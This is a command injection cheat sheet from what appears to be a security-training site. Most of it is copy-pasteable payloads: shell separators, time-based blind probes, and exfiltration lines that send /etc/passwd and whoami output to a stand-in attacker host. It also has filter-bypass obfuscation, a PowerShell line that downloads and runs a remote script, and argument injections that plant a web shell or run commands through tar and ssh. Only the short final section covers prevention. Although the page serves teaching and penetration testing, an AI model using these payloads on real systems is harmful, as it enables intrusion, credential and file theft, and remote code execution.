OS Command Injection: The Complete Practical Guide
OS Command Injection Cheat Sheet
A dense, copy-pasteable command injection reference: separators, blind markers, OOB exfil, filter bypass, Windows payloads, argument injection, and prevention.
Published
Every OS command injection payload in one place. The core move never changes: get the shell to run a command of yours instead of, or in addition to, the one the app meant to run. For the how and why behind each section, start at the command injection guide. Lock it in on a free live target.
Separators (append or inject a command)
; command run after (Unix)
| command pipe the first into the second
|| command run if the first FAILS
& command background the first, run the second
&& command run if the first SUCCEEDS
%0a command URL-encoded newline (great when ; is filtered)
$(command) command substitution (Unix)
`command` backtick substitution (Unix)Start with
;. If filtered, work through the rest. See classic in-band injection.
Inline substitution (inject output into an argument)
ping -c1 $(whoami).attacker.oast
echo `id`
file_$(hostname).txtBlind detection markers (no visible output)
; sleep 5
& ping -c 5 127.0.0.1 &
| sleep 5 |
`sleep 5`
%0a sleep 5
; nslookup probe.attacker.oastMeasure the delay against a baseline. See blind and out-of-band detection.
Out-of-band exfiltration (callback carries the data)
; nslookup $(whoami).attacker.oast
; curl http://attacker.oast/$(whoami)
; curl --data-binary @/etc/passwd http://attacker.oast/
; wget --post-data="$(cat /etc/passwd | base64)" http://attacker.oast/
; ls /home | while read f; do nslookup $f.attacker.oast; doneDNS often escapes when HTTP egress is blocked. Base64 anything with unsafe characters.
Filter / blacklist bypass
# spaces blocked
cat${IFS}/etc/passwd
{cat,/etc/passwd}
cat</etc/passwd
# keyword blocked (shell rejoins the token)
w'h'oami
w"h"oami
wh\oami
a=who;b=ami;$a$b
$(printf '\x77\x68\x6f\x61\x6d\x69') # whoami
# path/char blocked (build from a variable)
cat ${HOME:0:1}etc${HOME:0:1}passwd # ${HOME:0:1} == /
# wildcards avoid literal names
cat /etc/pass??
cat /e*/p*wd
# encode the whole command
echo d2hvYW1p | base64 -d | sh # d2hvYW1p == whoamiWindows payloads
& whoami
| dir
&& type C:\windows\win.ini
%0a whoami
who^ami & rem caret splits a blocked keyword
& powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://attacker.oast/x')"cmd uses
&|&&; PowerShell uses;. Recon:whoamidirtypesysteminfo. See per-OS payloads.
Argument injection (can't add a command, can add flags)
# value flows into: curl <input> -> write a file
http://attacker.oast/shell.php -o /var/www/html/shell.php
# value flows into: tar <input> -> exec via checkpoint
--checkpoint=1 --checkpoint-action=exec=sh shell.sh
# value flows into: find <input> -> exec primitive
. -exec /bin/sh -c id ;
# value flows into: ssh <input> -> ProxyCommand exec
-oProxyCommand=idFix: pass
--before the value and reject leading dashes. See argument injection.
Prevention
- Do not call a shell. Use an argument array (
execFile,subprocess.run([...], shell=False)) so input is never parsed as a command. - Prefer a native library (DNS, imaging, PDF) over shelling out at all.
- Allow-list the value against a strict pattern. Never blacklist characters.
- Close argument injection with a
--option terminator and by rejecting leading dashes. - Never build a command by concatenation.
- Harden the runtime: unprivileged user, locked-down container, egress filtering (including DNS).
Full detail in preventing command injection.
← Back to OS Command Injection: The Complete Practical Guide